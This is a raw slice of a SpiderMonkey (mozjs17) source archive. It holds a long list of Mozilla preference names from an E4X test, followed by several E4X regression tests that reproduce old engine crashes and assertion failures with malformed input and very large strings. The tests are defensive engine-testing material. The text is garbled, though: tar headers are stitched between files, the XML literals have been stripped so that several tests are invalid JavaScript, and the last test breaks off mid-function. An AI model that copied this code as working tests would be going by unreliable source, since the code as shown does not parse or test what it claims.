font.name.monospace.tr advanced.mailftp security.ssl3.rsa_fips_des_ede3_sha application.use_ns_plugin_finder font.name-list.cursive.ko capability.policy.mailnews.*.data.get browser.forms.submit.backwards_compatible font.name.monospace.x-mlym ui.key.menuAccessKey capability.policy.mailnews.XMLHttpRequest.statusText font.name.sans-serif.x-tamil print.print_footercenter privacy.item.sessions network.ftp.idleConnectionTimeout mousewheel.withshiftkey.sysnumlines security.ssl2.rc4_40 font.size.variable.ko capability.policy.default.Window.focus.get font.size.fixed.ja browser.display.focus_ring_on_anything capability.policy.default_policynames network.IDN.whitelist.kr network.IDN.whitelist.br network.cookie.alwaysAcceptSessionCookies dom.disable_window_status_change app.update.channel network.proxy.ssl_port xpinstall.whitelist.required browser.tabs.opentabfor.middleclick font.size.variable.x-tamil layout.word_select.eat_space_to_next_word security.warn_submit_insecure network.negotiate-auth.gsslib mousewheel.withaltkey.action capability.policy.default.Window.top font.name.cursive.x-ethi browser.goBrowsing.enabled capability.policy.mailnews.SOAPEncoding.encode font.name.sans-serif.x-guru plugin.expose_full_path capability.policy.default.Window.closed font.default.x-armn capability.policy.mailnews.SOAPEncoding.styleURI font.name.sans-serif.x-mlym security.ssl3.rsa_null_sha capability.policy.default.Window.opener extensions.dss.switchPending roaming.showInitialWarning security.ssl3.dhe_dss_des_sha network.protocol-handler.external.disk font.name.serif.ja custtoolbar.personal_toolbar_folder capability.policy.mailnews.Window.sizeToContent capability.policy.default.XMLHttpRequest.channel capability.policy.mailnews.SOAPEncoding.schemaCollection browser.display.normal_lineheight_calc_control capability.policy.default.Location.replace.get font.name.cursive.ko accessibility.browsewithcaret browser.cache.disk.enable network.IDN.whitelist.de general.useragent.locale security.ssl2.rc2_40 network.cookie.prefsMigrated plugin.scan.SunJRE font.name.serif.x-armn network.protocol-handler.external.data nglayout.debug.disable_xul_cache ime.password.onBlur.dontCare capability.policy.mailnews.XMLHttpRequest.overrideMimeType network.protocol-handler.external.mailto print.use_global_printsettings capability.policy.mailnews.XMLHttpRequest.getAllResponseHeaders security.ssl3.rsa_aes_256_sha capability.policy.mailnews.SOAPResponse.fault mousewheel.withcontrolkey.sysnumlines font.name.sans-serif.x-baltic network.protocol-handler.expose.nntp mousewheel.horizscroll.withcontrolkey.numlines editor.htmlWrapColumn browser.helperApps.alwaysAsk.force security.ssl3.dhe_rsa_des_sha network.proxy.no_proxies_on network.protocol-handler.external.hcp font.name.monospace.x-cans browser.cache.disk_cache_ssl intl.charsetmenu.browser.more1 accessibility.typeaheadfind.startlinksonly editor.positioning.offset font.name-list.monospace.x-tamil network.proxy.gopher_port mousewheel.horizscroll.withnokey.numlines browser.history.grouping pfs.datasource.url network.http.max-persistent-connections-per-server accessibility.tabfocus network.cookie.p3plevel intl.charsetmenu.browser.static editor.css.default_length_unit intl.charset.default capability.policy.mailnews.SOAPPropertyBagMutator.addProperty browser.download.folderList font.name.sans-serif.tr font.name-list.monospace.x-devanagari font.name.sans-serif.x-devanagari capability.policy.mailnews.Window.innerHeight.set browser.tabs.warnOnClose security.ssl3.rsa_des_ede3_sha signed.applets.codebase_principal_support print.extend_native_print_dialog font.name-list.monospace.x-cans font.name-list.serif.x-khmr font.name.monospace.x-cyrillic network.protocol-handler.warn-external.snews permissions.default.image font.name.monospace.ko font.name-list.monospace.zh-TW general.smoothScroll font.name-list.serif.zh-CN font.name.sans-serif.zh-TW network.protocol-handler.warn-external.mailto capability.policy.default.DOMException.name font.name-list.serif.x-mlym network.http.sendSecureXSiteReferrer intl.charsetmenu.mailedit capability.policy.mailnews.*.src.get app.update.showInstalledUI font.default.x-devanagari dom.disable_window_open_feature.location capability.policy.default.DOMException.result font.name-list.monospace.x-beng capability.policy.mailnews.XMLHttpRequest.getResponseHeader accessibility.usebrailledisplay network.enableIDN font.name.cursive.tr capability.policy.default.Location.href.set font.size.fixed.zh-CN font.name-list.sans-serif.zh-TW network.protocol-handler.expose.snews capability.policy.mailnews.SchemaLoader.onError accessibility.typeaheadfind.timeout capability.policy.default.History.next font.size.fixed.x-geor print.print_headerleft browser.search.update middlemouse.scrollbarPosition capability.policy.mailnews.SOAPEncoding.decode dom.disable_window_open_feature.scrollbars security.ssl2.rc2_128 network.protocol-handler.external-default dom.disable_window_open_feature.titlebar startup.homepage_override_url dom.popup_allowed_events network.proxy.socks_port capability.policy.default.Location.hash.set browser.startup.page print.whileInPrintPreview font.default.x-khmr mousewheel.withshiftkey.action mousewheel.withaltkey.sysnumlines font.size.fixed.x-baltic capability.policy.mailnews.Window.moveBy network.http.pipelining plugin.override_internal_types font.size.fixed.x-gujr security.ssl2.des_ede3_192 browser.visited_color capability.policy.mailnews.*.nodeValue.get font.default.x-beng intl.charsetmenu.browser.more4 network.http.keep-alive ui.key.accelKey browser.fixup.alternate.enabled font.name-list.serif.x-cans security.enable_ssl3 print.print_headerright network.IDN.whitelist.th capability.policy.mailnews.SOAPEncoding.unmapSchemaURI capability.policy.mailnews.Range.toString print.print_edge_bottom network.IDN.blacklist_chars browser.display.foreground_color font.default.zh-CN network.cookie.cookieBehavior dom.disable_image_src_set font.default.x-cans capability.policy.mailnews.Window.screenY.set network.cookie.enableForCurrentSessionOnly app.update.timer layout.word_select.stop_at_punctuation browser.search.order.Yahoo middlemouse.paste font.name.sans-serif.zh-HK dom.disable_window_open_feature.toolbar dom.popup_maximum security.warn_entering_secure mousewheel.horizscroll.withaltkey.numlines browser.tabs.warnOnCloseOther intl.accept_charsets font.name.monospace.x-central-euro alerts.height font.name-list.serif.x-tamil capability.policy.mailnews.SchemaLoader.onLoad font.size.variable.x-western keyword.URL capability.policy.default.Window.self browser.dom.window.dump.enabled font.name.sans-serif.x-beng privacy.item.siteprefs font.name.cursive.x-baltic network.protocol-handler.external.nntp security.ssl3.dhe_dss_des_ede3_sha font.name.serif.x-western capability.policy.mailnews.sites font.name-list.serif.x-beng dom.event.contextmenu.enabled browser.urlbar.clickSelectsAll security.warn_entering_secure.show_once font.size.fixed.zh-HK capability.policy.mailnews.SOAPCall.invoke capability.policy.default.SOAPCall.invokeVerifySourceHeader font.size.fixed.x-guru viewmanager.do_doublebuffering font.name.sans-serif.x-cans capability.policy.mailnews.*.href.get font.size.fixed.he dom.max_script_run_time capability.policy.default.Navigator.preference security.ssl2.rc4_128 browser.link.open_newwindow accessibility.tabfocus_applies_to_xul security.ssl3.rsa_rc4_128_sha font.size.variable.x-unicode mousewheel.withcontrolkey.numlines font.name.monospace.x-ethi font.default.zh-HK browser.tabs.loadBookmarksInBackground browser.fixup.hide_user_pass capability.policy.mailnews.HTMLDocument.URL plugin.scan.Acrobat font.name.serif.x-cyrillic intl.accept_languages capability.policy.mailnews.*.host.get security.directory security.ssl3.dhe_rsa_aes_128_sha font.size.variable.zh-HK browser.display.use_focus_colors capability.policy.default.DOMException.message intl.charsetmenu.browser.unicode greasemonkey.editor intl.charsetmenu.composer.cache font.default.x-tamil capability.policy.default.DOMParser.parseFromStream network.http.version capability.policy.default.History.previous signon.SignonFileName font.name.monospace.zh-CN app.update.silent font.name-list.monospace.x-mlym browser.underline_anchors capability.policy.default.Navigator.preferenceinternal.set intl.jis0208.map network.automatic-ntlm-auth.trusted-uris browser.chrome.toolbar_tips mousewheel.withshiftkey.numlines font.name.sans-serif.x-western browser.download.manager.showWhenStarting browser.enable_automatic_image_resizing privacy.item.passwords app.update.incompatible.mode capability.policy.mailnews.WSDLLoader.loadAsync capability.policy.mailnews.SOAPEncoding.getAssociatedEncoding browser.sessionhistory.max_entries sessionsaver.windows.cookies network.image.warnAboutImages browser.cache.disk.capacity font.size.variable.ja plugin.scan.plid.all print.print_extra_margin browser.download.manager.focusWhenStarting capability.policy.mailnews.XMLHttpRequest.channel font.name.sans-serif.x-armn network.proxy.socks_version xpinstall.whitelist.add.103 browser.download.manager.alertOnEXEOpen network.IDN.whitelist.ch xpinstall.dialog.progress.chrome network.online capability.policy.default.HTMLDocument.open.get general.startup.browser security.OCSP.enabled font.size.fixed.x-khmr config.use_system_prefs.accessibility font.default.ja print.print_edge_top print.print_edge_left network.dns.ipv4OnlyDomains browser.tabs.autoHide browser.search.order.2 font.name.sans-serif.he browser.tabs.loadGroup font.name.monospace.x-beng intl.locale.matchOS font.name.serif.zh-CN capability.policy.mailnews.*.protocol.get network.IDN.whitelist.tm network.cookie.denyRemovedCookies browser.search.order.Yahoo.1 font.size.fixed.x-ethi sessionsaver.prefs_set alerts.totalOpenTime browser.tabs.loadInBackground mousewheel.horizscroll.withnokey.sysnumlines network.negotiate-auth.using-native-gsslib accessibility.warn_on_browsewithcaret security.ssl3.rsa_fips_des_sha network.protocol-handler.external.shell ui.key.generalAccessKey font.size.variable.zh-CN network.automatic-ntlm-auth.allow-proxies capability.policy.mailnews.Window.moveTo nglayout.events.dispatchLeftClickOnly font.name.serif.x-devanagari security.checkloaduri network.protocol-handler.external.javascript security.ssl3.rsa_rc2_40_md5 network.IDN.whitelist.dk mousewheel.horizscroll.withaltkey.sysnumlines nglayout.debug.enable_xbl_forms network.proxy.socks font.size.variable.x-central-euro network.IDN.whitelist.jp font.size.variable.zh-TW network.IDN.whitelist.museum font.name-list.serif.zh-TW browser.chrome.toolbar_style mousewheel.horizscroll.withshiftkey.numlines capability.policy.default.Window.close.get capability.policy.mailnews.SOAPEncoding.defaultEncoder browser.download.manager.retention capability.policy.mailnews.*.baseURI.get network.IDN.whitelist.fi capability.policy.mailnews.WSDLLoader.load network.protocol-handler.warn-external.news dom.disable_open_during_load general.useragent.extra.firefox font.size.variable.x-ethi font.default.tr dom.disable_window_open_feature.resizable sessionsaver.windows.session0 network.proxy.failover_timeout general.skins.selectedSkin font.name.monospace.x-unicode network.protocol-handler.expose-all privacy.item.downloads font.name.monospace.el browser.preferences.instantApply font.name-list.serif.ko editor.resizing.preserve_ratio font.default.x-ethi privacy.sanitize.promptOnSanitize font.name.serif.x-cans font.name-list.monospace.x-geor network.hosts.nntp_server font.size.variable.x-khmr capability.policy.mailnews.*.text.get network.protocol-handler.warn-external.nntp font.default.x-unicode capability.policy.mailnews.Window.resizeTo font.name.monospace.zh-TW font.default.ko network.IDN.whitelist.tw signon.rememberSignons profile.manage_only_at_launch security.warn_leaving_secure font.language.group network.http.pipelining.maxrequests capability.policy.mailnews.WSDLLoader.onError capability.policy.mailnews.Window.outerWidth.set security.ask_for_password capability.policy.mailnews.SOAPEncoding.defaultDecoder font.default.x-gujr capability.policy.mailnews.XMLSerializer.serializeToStream network.autodial-helper.enabled font.size.fixed.x-central-euro alerts.slideIncrementTime capability.policy.mailnews.Window.blur network.http.accept.default network.http.proxy.keep-alive privacy.sanitize.sanitizeOnShutdown capability.policy.mailnews.*.getNamedItemNS network.protocol-handler.external.snews layout.enable_japanese_specific_transform general.useragent.contentlocale ui.key.menuAccessKeyFocuses plugin.scan.WindowsMediaPlayer font.name.cursive.x-western intl.charset.detector browser.download.save_converter_index image.animation_mode network.http.sendRefererHeader font.default.x-central-euro network.protocol-handler.external.ms-help font.default.x-geor browser.download.manager.openDelay dom.disable_window_open_feature.personalbar capability.policy.mailnews.SOAPHeaderBlock.mustUnderstand intl.keyboard.per_window_layout network.dir.format capability.policy.default.Clipboard.cutcopy capability.policy.default.Window.window font.name.sans-serif.x-ethi print.use_native_print_dialog browser.search.defaulturl font.name-list.serif.zh-HK network.negotiate-auth.trusted-uris intl.charsetmenu.browser.cache intl.menuitems.insertseparatorbeforeaccesskeys network.protocol-handler.external.news greasemonkey.enabled capability.policy.mailnews.XMLHttpRequest.send capability.policy.mailnews.SOAPEncoding.getEncoder profile.seconds_until_defunct font.size.variable.x-beng mousewheel.horizscroll.withnokey.action bidi.texttype network.protocol-handler.expose.news network.negotiate-auth.delegation-uris font.name.serif.zh-TW network.IDN.whitelist.gr general.useragent.security extensions.disabledObsolete browser.download.manager.closeWhenDone network.proxy.ftp_port privacy.item.cookies capability.policy.mailnews.*.lowSrc.get font.name-list.serif.x-ethi font.name.serif.x-unicode pref.advanced.proxies.disable_button.reload capability.policy.mailnews.XMLHttpRequest.onload browser.download.show_plugins_in_list font.size.fixed.th font.size.fixed.zh-TW print.save_print_settings bidi.browser.ui extensions.update.url font.name-list.monospace.x-khmr intl.charsetmenu.browser.more2 security.ssl3.dhe_dss_aes_256_sha capability.policy.mailnews.document.load security.ssl3.rsa_rc4_40_md5 privacy.item.cache browser.search.param.Google.1.default browser.active_color font.name-list.monospace.zh-HK browser.display.show_image_placeholders ime.password.onFocus.dontCare middlemouse.contentLoadURL font.name-list.monospace.x-armn svg.enabled capability.policy.default.Window.location dom.disable_window_flip security.warn_submit_insecure.show_once font.size.variable.x-cyrillic font.size.fixed.x-western font.size.variable.x-devanagari capability.policy.mailnews.XMLSerializer.serializeToString bidi.support browser.display.background_color capability.policy.default.History.go.get font.size.variable.x-armn font.size.variable.el network.cookie.p3p mousewheel.horizscroll.withcontrolkey.sysnumlines app.update.url font.name.cursive.he network.http.redirection-limit network.ntlm.send-lm-response converter.html2txt.header_strategy browser.offline network.proxy.ftp dom.disable_window_open_feature.directories capability.policy.default.Clipboard.paste browser.related.disabledForDomains font.name.sans-serif.x-cyrillic intl.charsetmenu.browser.cache.size capability.policy.mailnews.SOAPCall.transportURI browser.shell.checkDefaultBrowser network.proxy.http capability.policy.default.History.current capability.policy.mailnews.SOAPFault.faultNamespaceURI capability.policy.mailnews.*.getAttribute capability.policy.mailnews.XMLHttpRequest.responseText network.IDN.whitelist.sh browser.cache.check_doc_frequency layout.frames.force_resizability capability.policy.default.Window.frames app.update.url.manual capability.policy.mailnews.SOAPFault.element browser.trim_user_and_password font.size.variable.tr browser.fixup.alternate.suffix browser.download.manager.showAlertInterval security.warn_viewing_mixed.show_once browser.helperApps.neverAsk.openFile font.name.sans-serif.x-central-euro capability.policy.mailnews.SOAPCall.asyncInvoke mousewheel.withnokey.numlines font.name.serif.tr privacy.popups.showBrowserMessage browser.feedview.showMenu font.name-list.serif.x-gujr browser.feedview.reloadInterval security.ui.enable editor.use_css network.IDN.whitelist.io browser.related.enabled browser.sessionhistory.max_viewers font.size.variable.x-guru font.size.variable.x-gujr network.protocol-handler.external.vnd.ms.radio browser.tabs.opentabfor.urlbar font.name.sans-serif.x-khmr mousewheel.horizscroll.withshiftkey.sysnumlines network.protocol-handler.external.afp font.name-list.serif.x-guru intl.charsetmenu.browser.more5 security.ssl3.rsa_rc4_128_md5 font.default.he font.size.fixed.ko font.name-list.monospace.ko capability.policy.mailnews.XMLHttpRequest.onreadystatechange print.print_edge_right browser.popups.showPopupBlocker app.update.nagTimer.restart capability.policy.mailnews.Location.toString font.default.x-cyrillic font.size.fixed.x-unicode clipboard.autocopy font.name.monospace.ja browser.tabs.loadFolderAndReplace font.name.monospace.x-khmr font.size.variable.x-baltic font.name.serif.x-tamil font.name-list.monospace.x-gujr browser.urlbar.matchOnlyTyped capability.policy.mailnews.SOAPHeaderBlock.actorURI font.name-list.sans-serif.zh-CN extensions.update.interval network.IDN.whitelist.cn font.size.variable.he security.ssl3.dhe_rsa_des_ede3_sha dom.disable_window_open_feature.close font.name.cursive.el bidi.characterset font.name.cursive.x-unicode network.proxy.share_proxy_settings network.cookie.disableCookieForMailNews general.config.obscure_value capability.policy.mailnews.XMLHttpRequest.open dom.allow_scripts_to_close_windows network.IDN.whitelist.se mousewheel.horizscroll.withcontrolkey.action capability.policy.mailnews.WebServiceProxyFactory.onLoad browser.tabs.forceHide accessibility.typeaheadfind.enablesound font.size.fixed.x-cans capability.policy.default.HTMLDocument.close.get font.size.fixed.el font.name.cursive.x-cyrillic font.default.x-guru browser.chromeURL roaming.default.files profile.confirm_automigration browser.link.open_external font.name-list.serif.x-armn font.name.serif.el font.name-list.monospace.ja capability.policy.mailnews.SOAPEncoding.getInternalSchemaURI browser.bookmarks.sort.direction browser.download.manager.flashCount browser.formfill.enable font.size.fixed.x-beng print.print_footerleft capability.policy.default.Window.parent capability.policy.mailnews.SOAPCall.verifySourceHeader browser.download.lastDir sessionsaver.windows.zorder xpinstall.enabled capability.policy.mailnews.*.getAttributeNS capability.policy.mailnews.*.pathname.get xpinstall.dialog.progress.type.skin browser.windows.loadOnNewWindow font.name-list.serif.he browser.link.open_newwindow.restriction font.name-list.monospace.he font.name.sans-serif.ja editor.singleLine.pasteNewlines accessibility.typeaheadfind.soundURL capability.policy.mailnews.Window.outerHeight.set capability.policy.mailnews.SOAPFault.faultActor font.size.fixed.tr extensions.getMoreThemesURL browser.search.param.Google.1.custom extensions.logging.enabled browser.frames.enabled font.default.th network.IDN.whitelist.lt capability.policy.mailnews.SOAPEncoding.mapSchemaURI network.hosts.smtp_server mousewheel.withnokey.sysnumlines browser.tabs.loadOnNewTab font.name.sans-serif.el browser.display.focus_ring_width font.size.variable.x-mlym font.name.serif.x-khmr capability.policy.mailnews.XMLHttpRequest.status intl.charsetmenu.mailview.cache capability.policy.mailnews.SOAPEncoding.setEncoder privacy.popups.usecustom font.name-list.serif.x-geor capability.policy.mailnews.WSDLLoader.onLoad dom.disable_window_open_feature.minimizable accessibility.typeaheadfind capability.policy.mailnews.SOAPFault.detail capability.policy.default.Window.document font.size.variable.x-geor xpinstall.dialog.confirm intl.collationOption browser.cache.memory.enable font.size.variable.x-cans browser.hiddenWindowChromeURL font.name-list.serif.x-devanagari capability.principal.codebase.p0.subjectName capability.policy.mailnews.*.hostname.get intl.fallbackCharsetList.ISO-8859-1 network.IDN.whitelist.li javascript.options.strict font.name.cursive.ar browser.search.selectedEngine capability.policy.mailnews.SOAPEncoding.getDecoder general.autoScroll font.default.x-western browser.display.use_system_colors extensions.ignoreMTimeChanges network.hosts.pop_server privacy.item.history security.password_lifetime security.ssl3.dhe_dss_aes_128_sha font.name.monospace.x-tamil xpinstall.dialog.progress.type.chrome capability.policy.mailnews.SchemaLoader.processSchemaElement capability.policy.mailnews.DOMParser,parseFromString network.http.proxy.pipelining security.ssl3.rsa_1024_rc4_56_sha browser.history_expire_days capability.policy.mailnews.DOMException.toString font.name.serif.x-gujr browser.display.force_inline_alttext security.ssl3.rsa_1024_des_cbc_sha mousewheel.horizscroll.withshiftkey.action font.size.fixed.x-mlym font.name-list.cursive.he capability.policy.mailnews.Window.screenX.set font.name.serif.x-ethi network.cookie.lifetime.days view_source.wrap_long_lines network.IDN.whitelist.hu browser.bookmarks.sort.resource capability.policy.mailnews.*.getNamedItem security.warn_viewing_mixed browser.xul.error_pages.enabled capability.policy.mailnews.WebServiceProxyFactory.createProxyAsync capability.policy.mailnews.DOMParser,parseFromStream network.proxy.autoconfig_url capability.policy.mailnews.SOAPPropertyBagMutator.propertyBag xpinstall.dialog.progress.skin browser.download.hide_plugins_without_extensions network.protocol-handler.warn-external-default font.name.serif.he font.name.cursive.th network.negotiate-auth.allow-proxies capability.policy.default.Window.Components font.name.serif.x-central-euro font.size.fixed.x-tamil capability.policy.mailnews.SOAPFault.faultString app.update.mode font.name.serif.x-guru capability.policy.mailnews.*.title.get font.name.monospace.x-gujr app.update.nagTimer.download dom.disable_window_move_resize browser.download.useDownloadDir font.name.sans-serif.ar network.IDN.whitelist.no browser.display.screen_resolution extensions.dss.enabled network.http.request.max-start-delay font.size.fixed.ar extensions.update.enabled network.auth.use-sspi sessionsaver.settings.dontwarn capability.policy.mailnews.Window.name.set security.enable_tls dom.disable_window_open_feature.menubar xpinstall.whitelist.add sessionsaver.settings.nofx font.name.serif.ar network.http.max-connections browser.fixup.alternate.prefix privacy.item.formdata network.dns.disableIPv6 network.protocol-handler.external.disks dom.disable_window_open_feature.status javascript.enabled prefs.converted-to-utf8 capability.policy.mailnews.SOAPEncoding.getExternalSchemaURI network.proxy.socks_remote_dns capability.policy.mailnews.HTMLDocument.domain font.name-list.monospace.zh-CN font.default.zh-TW capability.policy.mailnews.Window.resizeBy browser.tabs.loadDivertedInBackground app.update.interval browser.related.provider profile.allow_automigration browser.search.basic.min_ver network.proxy.ssl security.xpconnect.plugin.unrestricted middlemouse.openNewWindow dom.disable_open_click_delay network.enablePad font.name.serif.x-baltic privacy.popups.disable_from_plugins font.name-list.monospace.x-guru security.ssl3.rsa_aes_128_sha capability.policy.mailnews.Window.innerWidth.set security.enable_ssl2 font.name.monospace.th capability.policy.mailnews.WebServiceProxyFactory.onError network.protocol-handler.expose.mailto font.default.el network.http.default-socket-type browser.display.focus_background_color editor.use_custom_colors network.proxy.gopher ui.key.saveLink.shift font.name.serif.ko security.warn_entering_weak font.name.sans-serif.th capability.policy.mailnews.*.substringData.get font.name.cursive.x-central-euro browser.chrome.favicons font.size.variable.ar accessibility.typeaheadfind.autostart font.default.ar capability.policy.mailnews.SOAPFault.faultCode font.name.serif.th security.ssl3.dhe_rsa_aes_256_sha privacy.popups.policy font.name.monospace.he font.name.sans-serif.x-gujr browser.anchor_color network.http.keep-alive.timeout network.IDN.whitelist.cl browser.display.focus_text_color accessibility.typeaheadfind.linksonly mousewheel.withaltkey.numlines capability.policy.mailnews.Window.focus intl.content.langcode browser.helperApps.neverAsk.saveToDisk browser.throbber.url intl.menuitems.alwaysappendaccesskeys font.size.fixed.x-armn font.name.monospace.x-geor accessibility.typeaheadfind.flashBar font.name.monospace.x-devanagari font.name.serif.x-geor network.IDN.whitelist.ac browser.related.autoload intl.charsetmenu.browser.more3 font.name.monospace.x-baltic browser.download.manager.useWindow font.size.fixed.x-devanagari font.name-list.sans-serif.ja browser.search.order.1 capability.policy.mailnews.XMLHttpRequest.responseXML extensions.getMoreExtensionsURL font.name.serif.x-beng font.size.variable.th network.http.use-cache font.name.serif.zh-HK security.ssl3.rsa_null_md5 capability.policy.default.Window.blur.get extensions.lastAppVersion font.name.monospace.ar capability.policy.mailnews.SOAPParameter accessibility.accesskeycausesactivation security.warn_leaving_secure.show_once network.cookie.lifetimePolicy bidi.numeral capability.policy.default.History.toString view_source.syntax_highlight capability.principal.codebase.p0.granted font.name-list.monospace.x-ethi network.http.proxy.version converter.html2txt.structs accessibility.usetexttospeech capability.policy.default.Navigator.preferenceinternal.get font.size.fixed.x-cyrillic capability.policy.default.Window.history bidi.direction capability.policy.mailnews.*.attributes.get sessionsaver.settings.sync.machineid capability.policy.mailnews.XMLHttpRequest.setRequestHeader app.update.enabled network.IDN.whitelist.at accessibility.typeaheadfind.enabletimeout browser.display.use_document_fonts font.name.sans-serif.zh-CN browser.startup.homepage_override.mstone profile.migration_directory font.name-list.serif.ja mousewheel.withnokey.action network.http.accept-encoding capability.policy.default.Window.length font.default.x-mlym network.standard-url.escape-utf8 network.standard-url.encode-utf8 network.IDN.whitelist.info font.name.monospace.x-armn keyword.enabled capability.policy.default.History.forward.get ; var i = 0; for each (var pref in xml.pref) { printStatus(pref.name + ": " + xml.pref.(name == pref.name).length()); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-473709.js0000775000175000017500000000156712106270663022057 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not assert: cursor == (uint8_t *)copy->messageArgs[0] + argsCopySize'; var BUGNUMBER = 473709; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); function f() { eval("(function() { switch(x, x) { default: for(x2; ;) (function(){}) ;break; case (+<>): break; }; })()"); } if (typeof gczeal == 'function') { gczeal(2); } try { f(); } catch(ex) { } if (typeof gczeal == 'function') { gczeal(0); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-372563.js0000664000175000017500000000106212106270663022036 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 372563; var summary = 'Do not assert: ss->top >= 2'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); (function() { *() }); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-257679.js0000664000175000017500000000107612106270663022055 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("Standalone should be allowed"); printBugNumber(257679); var x = arbitrary text ]]>; var expected = new XML(" arbitrary text ]]>"); TEST(1, expected, x); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-283349.js0000664000175000017500000000130112106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "13.3.5.4 - [[GetNamespace]]"; var BUGNUMBER = 283349; var actual = 'Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var x = text; var ns = new Namespace("http://foo.com/bar"); x.addNamespace(ns); printStatus(x.toXMLString()); actual = 'No Crash'; TEST("13.3.5.4 - [[GetNamespace]]", expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-313799.js0000664000175000017500000000115012106270663022042 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash on XMLListInitializer.child(0)'; var BUGNUMBER = 313799; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var val = <>.child(0); TEST(1, expect, actual); TEST(2, 'xml', typeof val); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-301573.js0000664000175000017500000000114012106270663022024 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "E4X - Entities"; var BUGNUMBER = 301573; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); actual = <; TEST(1, '<', actual.toString()); actual = &; TEST(2, '&', actual.toString()); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-323338-2.js0000664000175000017500000000107712106270663022177 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Do not crash when qn->uri is null"; var BUGNUMBER = 323338; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); .(function::children()); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-458679-02.js0000664000175000017500000000175112106270663022277 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) silentfail /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'GetXMLEntity should not assume FastAppendChar is infallible'; var BUGNUMBER = 458679; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expectExitCode(0); expectExitCode(5); function stringOfLength(n) { if (n == 0) { return ""; } else if (n == 1) { return "<"; } else { var r = n % 2; var d = (n - r) / 2; var y = stringOfLength(d); return y + y + stringOfLength(r); } } try { void stringOfLength(4435455); x = stringOfLength(14435455); {x}; } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-370048-01.js0000664000175000017500000000134512106270663022254 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 370048; var summary = 'with (obj) function:: with xml lists'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var list = <>; expect = list.function::length; with (list) actual = function::length; if (expect !== actual) throw "function::length does not work under the with statement with an empty xml list"; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-477053.js0000664000175000017500000000115312106270663022037 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not assert: JSVAL_IS_STRING(v)'; var BUGNUMBER = 477053; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); try { function f() { 